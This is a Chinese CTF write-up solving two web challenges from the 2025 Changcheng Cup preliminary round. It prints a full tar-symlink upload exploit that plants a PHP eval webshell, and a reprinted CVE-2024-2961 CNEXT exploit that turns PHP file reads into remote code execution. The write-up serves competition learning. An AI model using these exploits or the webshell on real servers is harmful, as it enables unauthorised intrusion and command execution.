2025第五届长城杯初赛|WEB

前言：

这次也是成功把web给ak了，但是并没有什么用花的时间太长了，最后也是遗憾只拿了151名无缘线下决赛。由于其他题都是交给队友做的所以这里就只放web题了

EZ_upload

描述：无

考点：tar解压软链接任意文件写入

进入后先上传个文件，发现有个tar解压并且文件被放入到tmp目录中了

这里看到这个也是很像我之前复现的一个7zip的tar软链接解压写入漏洞的魔改

先准备一个symlink软链接，指向/var/www/html目录并生成1.tar，接着再创建一个路径为symlink/1.php的2.tar，此时先上传1.tar解压后后会生成一个指向/var/www/html的软链接，接着再上传2.tar解压后1.php就会被写入到/var/www/html中了

那么也是废话不多说直接上exp

import requests
import tarfile
import os
from io import BytesIO
import time

# 目标URL
TARGET_URL = "https://eci-2zeb0l8tixy2kvkrpkgy.cloudeci1.ichunqiu.com:80/upload.php"  # 修改为你的目标URL

# Webshell内容
webshell_content = b'<?php @eval($_POST["cmd"]); ?>'
webshell_name = "1.php"

def create_tar_files():
    """创建两个tar文件"""
    symlink_name = "symlink"
    target_dir = "/var/www/html"

    # 创建第一个tar（符号链接） - 使用GNU格式
    with tarfile.open("1.tar", "w:") as tar:  # 使用默认格式
        # 手动创建符号链接文件
        info = tarfile.TarInfo(symlink_name)
        info.type = tarfile.SYMTYPE
        info.linkname = target_dir
        info.mode = 0o777  # 设置权限
        info.uid = 0       # 设置用户ID
        info.gid = 0       # 设置组ID
        info.uname = "root"  # 设置用户名
        info.gname = "root"  # 设置组名
        tar.addfile(info)
    print("[+] 1.tar 创建成功（符号链接）")

    # 创建第二个tar（webshell）
    path_in_tar = os.path.join(symlink_name, webshell_name)
    with tarfile.open("2.tar", "w:") as tar:
        # 创建webshell文件
        info = tarfile.TarInfo(path_in_tar)
        info.size = len(webshell_content)
        info.mode = 0o644  # 设置权限
        info.uid = 0       # 设置用户ID
        info.gid = 0       # 设置组ID
        info.uname = "root"  # 设置用户名
        info.gname = "root"  # 设置组名
        tar.addfile(info, BytesIO(webshell_content))
    print("[+] 2.tar 创建成功（webshell）")

def upload_file(filename):
    """上传文件到目标"""
    try:
        with open(filename, 'rb') as f:
            files = {'file': (filename, f)}
            response = requests.post(TARGET_URL, files=files)

        print(f"[+] 上传 {filename}: 状态码 {response.status_code}")
        return response
    except Exception as e:
        print(f"[-] 上传 {filename} 失败: {e}")
        return None

def execute_command(command):
    """执行命令并获取结果"""
    webshell_url = TARGET_URL.replace("upload.php", "1.php")

    try:
        data = {"cmd": command}
        response = requests.post(webshell_url, data=data, timeout=10)

        if response.status_code == 200:
            print(f"[+] 命令执行结果:\n{response.text}")
            return response.text
        else:
            print(f"[-] 命令执行失败，状态码: {response.status_code}")
            return None
    except Exception as e:
        print(f"[-] 执行命令失败: {e}")
        return None

def main():
    # 1. 创建tar文件
    print("[*] 创建恶意tar文件...")
    create_tar_files()

    # 2. 上传第一个tar（符号链接）
    print("\n[*] 上传符号链接文件...")
    upload_file("1.tar")

    # 3. 上传第二个tar（webshell）
    print("\n[*] 上传webshell文件...")
    upload_file("2.tar")

    # 4. 等待文件解压
    print("\n[*] 等待文件处理...")
    time.sleep(2)

    # 5. 执行命令
    print("\n[*] 尝试执行命令...")
    result = execute_command("whoami")

    if result:
        print("[+] 攻击成功！")
    else:
        print("[-] 攻击可能失败，尝试其他方法")

if name == "__main__":
    main()

但是这里有一个很操蛋的点是在windows环境下运行是不通的，在linux环境下运行才行（这里卡了很久，个人猜测是应该Windows环境下和linux环境下生成的tar包的字节不太一样，因为我之前复现7zip的漏洞时候也只在Linux环境下成功了）

发现命令执行成功，直接改脚本system('cat /f*');

SeRce

描述：无

考点：CVE-2024-2961

进入后，发现有个文件包含但是需要条件serialize(unserialize($exp)) != $exp

那么接下来就是要绕过这个条件，根据 PHP序列化冷知识 这篇文章可以绕过（后面我发现其实输入个1就能够绕过了）

这里查看/flag发现没法读取到（猜测可能是权限问题），读取其他文件也都没法读取。

这里也是也是尝试搜索了一下file_get_content能不能命令执行，结果还真找到了一篇文章： 我不允许还有人不知道最新php RCE （也是学到了），可以通过CVE-2024-2961来进行攻击

下载exp：cnext-exploits（注意要改post中传入的参数为filetoread）

这里也是附上我改完后的exp：

#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload.
#

from __future__ import annotations

import base64
import zlib

from dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingError

from pwn import *
from ten import *

HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")

class Remote:
    """A helper class to send the payload and download files.
    
    The logic of the exploit is always the same, but the exploit needs to know how to
    download files (/proc/self/maps and libc) and how to send the payload.
    
    The code here serves as an example that attacks a page that looks like:
    
    ```php
    <?php
    
    $data = file_get_contents($_POST['file']);
    echo "File contents: $data";
    ```
    
    Tweak it to fit your target, and start the exploit.
    """

    def __init__(self, url: str) -> None:
        self.url = url
        self.session = Session()

    def send(self, path: str) -> Response:
        """Sends given `path` to the HTTP server. Returns the response.
        """
        return self.session.post(self.url, data={"filetoread": path})

    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path)
        data = response.re.search(b"File Contents: (.*)", flags=re.S).group(1)
        return base64.decode(data)

@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
    "pad",
    "Number of 0x100 chunks to pad with. If the website makes a lot of heap "
    "operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
    """CNEXT exploit: RCE using a file read primitive in PHP."""

    url: str
    command: str
    sleep: int = 1
    heap: str = None
    pad: int = 20

    def __post_init__(self):
        self.remote = Remote(self.url)
        self.log = logger("EXPLOIT")
        self.info = {}
        self.heap = self.heap and int(self.heap, 16)

    def check_vulnerable(self) -> None:
        """Checks whether the target is reachable and properly allows for the various
        wrappers and filters that the exploit needs.
        """

        def safe_download(path: str) -> bytes:
            try:
                return self.remote.download(path)
            except ConnectionError:
                failure("Target not [b]reachable[/] ?")

        def check_token(text: str, path: str) -> bool:
            result = safe_download(path)
            return text.encode() == result

        text = tf.random.string(50).encode()
        base64 = b64(text, misalign=True).decode()
        path = f"data:text/plain;base64,{base64}"

        result = safe_download(path)

        if text not in result:
            msg_failure("Remote.download did not return the test string")
            print("--------------------")
            print(f"Expected test string: {text}")
            print(f"Got: {result}")
            print("--------------------")
            failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")

        msg_info("The [i]data://[/] wrapper works")

        text = tf.random.string(50)
        base64 = b64(text.encode(), misalign=True).decode()
        path = f"php://filter//resource=data:text/plain;base64,{base64}"
        if not check_token(text, path):
            failure("The [i]php://filter/[/] wrapper does not work")

        msg_info("The [i]php://filter/[/] wrapper works")

        text = tf.random.string(50)
        base64 = b64(compress(text.encode()), misalign=True).decode()
        path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"

        if not check_token(text, path):
            failure("The [i]zlib[/] extension is not enabled")

        msg_info("The [i]zlib[/] extension is enabled")

        msg_success("Exploit preconditions are satisfied")

    def get_file(self, path: str) -> bytes:
        with msg_status(f"Downloading [i]{path}[/]..."):
            return self.remote.download(path)

    def get_regions(self) -> list[Region]:
        """Obtains the memory regions of the PHP process by querying /proc/self/maps."""
        maps = self.get_file("/proc/self/maps")
        maps = maps.decode()
        PATTERN = re.compile(
            r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
        )
        regions = []
        for region in table.split(maps, strip=True):
            if match := PATTERN.match(region):
                start = int(match.group(1), 16)
                stop = int(match.group(2), 16)
                permissions = match.group(3)
                path = match.group(4)
                if "/" in path or "[" in path:
                    path = path.rsplit(" ", 1)[-1]
                else:
                    path = ""
                current = Region(start, stop, permissions, path)
                regions.append(current)
            else:
                print(maps)
                failure("Unable to parse memory mappings")

        self.log.info(f"Got {len(regions)} memory regions")

        return regions

    def get_symbols_and_addresses(self) -> None:
        """Obtains useful symbols and addresses from the file read primitive."""
        regions = self.get_regions()

        LIBC_FILE = "/dev/shm/cnext-libc"

        # PHP's heap

        self.info["heap"] = self.heap or self.find_main_heap(regions)

        # Libc

        libc = self._get_region(regions, "libc-", "libc.so")

        self.download_file(libc.path, LIBC_FILE)

        self.info["libc"] = ELF(LIBC_FILE, checksec=False)
        self.info["libc"].address = libc.start

    def _get_region(self, regions: list[Region], *names: str) -> Region:
        """Returns the first region whose name matches one of the given names."""
        for region in regions:
            if any(name in region.path for name in names):
                break
        else:
            failure("Unable to locate region")

        return region

    def download_file(self, remote_path: str, local_path: str) -> None:
        """Downloads `remote_path` to `local_path`"""
        data = self.get_file(remote_path)
        Path(local_path).write(data)

    def find_main_heap(self, regions: list[Region]) -> Region:
        # Any anonymous RW region with a size superior to the base heap size is a
        # candidate. The heap is at the bottom of the region.
        heaps = [
            region.stop - HEAP_SIZE + 0x40
            for region in reversed(regions)
            if region.permissions == "rw-p"
            and region.size >= HEAP_SIZE
            and region.stop & (HEAP_SIZE-1) == 0
            and region.path in ("", "[anon:zend_alloc]")
        ]

        if not heaps:
            failure("Unable to find PHP's main heap in memory")

        first = heaps[0]

        if len(heaps) > 1:
            heaps = ", ".join(map(hex, heaps))
            msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
        else:
            msg_info(f"Using [i]{hex(first)}[/] as heap")

        return first

    def run(self) -> None:
        self.check_vulnerable()
        self.get_symbols_and_addresses()
        self.exploit()

    def build_exploit_path(self) -> str:
        """On each step of the exploit, a filter will process each chunk one after the
        other. Processing generally involves making some kind of operation either
        on the chunk or in a destination chunk of the same size. Each operation is
        applied on every single chunk; you cannot make PHP apply iconv on the first 10
        chunks and leave the rest in place. That's where the difficulties come from.

        Keep in mind that we know the address of the main heap, and the libraries.
        ASLR/PIE do not matter here.

        The idea is to use the bug to make the freelist for chunks of size 0x100 point
        lower. For instance, we have the following free list:

        ... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00

        By triggering the bug from chunk ..900, we get:

        ... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ???

        That's step 3.

        Now, in order to control the free list, and make it point whereever we want,
        we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so,
        we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48.
        That's step 2.

        Now, if we were to perform step2 an then step3 without anything else, we'd have
        a problem: after step2 has been processed, the free list goes bottom-up, like:

        0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900

        We need to go the other way around. That's why we have step 1: it just allocates
        chunks. When they get freed, they reverse the free list. Now step2 allocates in
        reverse order, and therefore after step2, chunks are in the correct order.

        Another problem comes up.

        To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT.
        Since step2 creates chunks that contain pointers and pointers are generally not
        UTF-8, we cannot afford to have that conversion happen on the chunks of step2.
        To avoid this, we put the chunks in step2 at the very end of the chain, and
        prefix them with `0\n`. When dechunked (right before the iconv), they will
        "disappear" from the chain, preserving them from the character set conversion
        and saving us from an unwanted processing error that would stop the processing
        chain.

        After step3 we have a corrupted freelist with an arbitrary pointer into it. We
        don't know the precise layout of the heap, but we know that at the top of the
        heap resides a zend_mm_heap structure. We overwrite this structure in two ways.
        Its free_slot[] array contains a pointer to each free list. By overwriting it,
        we can make PHP allocate chunks whereever we want. In addition, its custom_heap
        field contains pointers to hook functions for emalloc, efree, and erealloc
        (similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and
        then overwrite the use_custom_heap flag to make PHP use these function pointers
        instead. We can now do our favorite CTF technique and get a call to
        system(<chunk>).
        We make sure that the "system" command kills the current process to avoid other
        system() calls with random chunk data, leading to undefined behaviour.

        The pad blocks just "pad" our allocations so that even if the heap of the
        process is in a random state, we still get contiguous, in order chunks for our
        exploit.

        Therefore, the whole process described here CANNOT crash. Everything falls
        perfectly in place, and nothing can get in the middle of our allocations.
        """

        LIBC = self.info["libc"]
        ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
        ADDR_EFREE = LIBC.symbols["__libc_system"]
        ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

        ADDR_HEAP = self.info["heap"]
        ADDR_FREE_SLOT = ADDR_HEAP + 0x20
        ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

        ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

        CS = 0x100

        # Pad needs to stay at size 0x100 at every step
        pad_size = CS - 0x18
        pad = b"\x00" * pad_size
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = compressed_bucket(pad)

        step1_size = 1
        step1 = b"\x00" * step1_size
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1, CS)
        step1 = compressed_bucket(step1)

        # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
        # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

        step2_size = 0x48
        step2 = b"\x00" * (step2_size + 8)
        step2 = chunked_chunk(step2, CS)
        step2 = chunked_chunk(step2)
        step2 = compressed_bucket(step2)

        step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
        step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
        step2_write_ptr = chunked_chunk(step2_write_ptr)
        step2_write_ptr = compressed_bucket(step2_write_ptr)

        step3_size = CS

        step3 = b"\x00" * step3_size
        assert len(step3) == CS
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = compressed_bucket(step3)

        step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
        assert len(step3_overflow) == CS
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = compressed_bucket(step3_overflow)

        step4_size = CS
        step4 = b"=00" + b"\x00" * (step4_size - 1)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = compressed_bucket(step4)

        # This chunk will eventually overwrite mm_heap->free_slot
        # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
        step4_pwn = ptr_bucket(
            0x200000,
            0,
            # free_slot
            0,
            0,
            ADDR_CUSTOM_HEAP,  # 0x18
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            ADDR_HEAP,  # 0x140
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            size=CS,
        )

        step4_custom_heap = ptr_bucket(
            ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
        )

        step4_use_custom_heap_size = 0x140

        COMMAND = self.command
        COMMAND = f"kill -9 $PPID; {COMMAND}"
        if self.sleep:
            COMMAND = f"sleep {self.sleep}; {COMMAND}"
        COMMAND = COMMAND.encode() + b"\x00"

        assert (
            len(COMMAND) <= step4_use_custom_heap_size
        ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
        COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

        step4_use_custom_heap = COMMAND
        step4_use_custom_heap = qpe(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

        pages = (
            step4 * 3
            + step4_pwn
            + step4_custom_heap
            + step4_use_custom_heap
            + step3_overflow
            + pad * self.pad
            + step1 * 3
            + step2_write_ptr
            + step2 * 2
        )

        resource = compress(compress(pages))
        resource = b64(resource)
        resource = f"data:text/plain;base64,{resource.decode()}"

        filters = [
            # Create buckets
            "zlib.inflate",
            "zlib.inflate",

            # Step 0: Setup heap
            "dechunk",
            "convert.iconv.L1.L1",

            # Step 1: Reverse FL order
            "dechunk",
            "convert.iconv.L1.L1",

            # Step 2: Put fake pointer and make FL order back to normal
            "dechunk",
            "convert.iconv.L1.L1",

            # Step 3: Trigger overflow
            "dechunk",
            "convert.iconv.UTF-8.ISO-2022-CN-EXT",

            # Step 4: Allocate at arbitrary address and change zend_mm_heap
            "convert.quoted-printable-decode",
            "convert.iconv.L1.L1",
        ]
        filters = "|".join(filters)
        path = f"php://filter/read={filters}/resource={resource}"

        return path

    @inform("Triggering...")
    def exploit(self) -> None:
        path = self.build_exploit_path()
        start = time.time()

        try:
            self.remote.send(path)
        except (ConnectionError, ChunkedEncodingError):
            pass

        msg_print()

        if not self.sleep:
            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
        elif start + self.sleep <= time.time():
            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
        else:
            # Wrong heap, maybe? If the exploited suggested others, use them!
            msg_print("    [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")

        msg_print()

def compress(data) -> bytes:
    """Returns data suitable for `zlib.inflate`.
    """
    # Remove 2-byte header and 4-byte checksum
    return zlib.compress(data, 9)[2:-4]

def b64(data: bytes, misalign=True) -> bytes:
    payload = base64.encode(data)
    if not misalign and payload.endswith("="):
        raise ValueError(f"Misaligned: {data}")
    return payload.encode()

def compressed_bucket(data: bytes) -> bytes:
    """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
    return chunked_chunk(data, 0x8000)

def qpe(data: bytes) -> bytes:
    """Emulates quoted-printable-encode.
    """
    return "".join(f"={x:02x}" for x in data).upper().encode()

def ptr_bucket(*ptrs, size=None) -> bytes:
    """Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
    if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)

    return bucket

def chunked_chunk(data: bytes, size: int = None) -> bytes:
    """Constructs a chunked representation of the given chunk. If size is given, the
    chunked representation has size `size`.
    For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
    """
    # The caller does not care about the size: let's just add 8, which is more than
    # enough
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"

@dataclass
class Region:
    """A memory region."""

    start: int
    stop: int
    permissions: str
    path: str

    @property
    def size(self) -> int:
        return self.stop - self.start

Exploit()

这里也是在linux中运行（在windows环境中还是失败的）

先是ls /查看发现flag文件，但是读取的时候发现还是不行，使用ls / -ahl命令查看

GET:?exp=a:2:{i:0;O:8:%22stdClass%22:1:{s:3:%22abc%22;N;}i:1;O:22:%22__PHP_Incomplete_Class%22:1:{s:3:%22abc%22;N;}}
POST:filetoread=php://filter/convert.base64-encode/resource=/tmp/flag.txt

解密后可以看到flag确实是只有root用户可读

那么接下来就是需要提权，查看一下系统的suid文件有哪些

一样读取/tmp/flag.txt文件

解密后可以看到/readflag可以用于提权（根目录上的文件）

由于不清楚具体用法，先尝试直接执行/readflag

一样读取/tmp/flag.txt文件

解密后得到flag